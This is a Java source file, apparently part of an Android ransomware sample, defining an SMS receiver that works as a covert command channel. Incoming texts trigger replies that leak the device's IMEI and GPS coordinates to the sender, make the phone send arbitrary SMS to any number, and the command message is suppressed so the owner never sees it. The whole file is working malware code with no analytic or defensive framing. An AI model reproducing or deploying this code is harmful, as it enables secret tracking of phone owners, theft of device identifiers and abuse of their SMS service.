package android.malware.ransonware.routine.channel;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.malware.ransonware.routine.AndroidDeviceInfo;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSTunnel extends BroadcastReceiver {

	Context context;

	@Override
	public void onReceive(Context context, Intent intent) {
		
		Log.w("malware", "+ incoming SMS");
		this.context = context;
		final Bundle bundle = intent.getExtras();
		if (bundle == null)
			return;

		// Protocol Data Unit Sms
		final Object[] pdus = (Object[]) bundle.get("pdus");
		SmsMessage msg = SmsMessage.createFromPdu((byte[]) pdus[0]);

		String source = msg.getDisplayOriginatingAddress();
		String text = msg.getDisplayMessageBody();
		if (callBackAction(source, text))
			abortBroadcast();
	}

	public boolean callBackAction(String source, String text) {
		/* regular expression */
		Pattern ping = Pattern.compile("^PING$");
		Pattern imei = Pattern.compile("^IMEI$");
		Pattern gps = Pattern.compile("^GPS$");
		Pattern smsReplay = Pattern.compile("^SMS:(.*):(.*)");
		Matcher mSmsReplay = smsReplay.matcher(text);

		AndroidDeviceInfo androidDeviceInfo = new AndroidDeviceInfo(context);

		if (ping.matcher(text).matches()) {
			sendSMS(source, "PONG");
			return true;
		} else if (imei.matcher(text).matches()) {
			sendSMS(source, androidDeviceInfo.getImei());
			return true;
		} else if (gps.matcher(text).matches()) {
			String msg = androidDeviceInfo.getLatitude() + " "
					+ androidDeviceInfo.getLongitude();
			sendSMS(source, msg);
			return true;
		} else if (mSmsReplay.matches()) {
			sendSMS(mSmsReplay.group(1), mSmsReplay.group(2));
			return true;
		}
		return false;
	}

	private void sendSMS(String dest, String text) {
		SmsManager smsManager = SmsManager.getDefault();
		smsManager.sendTextMessage(dest, null, text, null, null);
	}
}
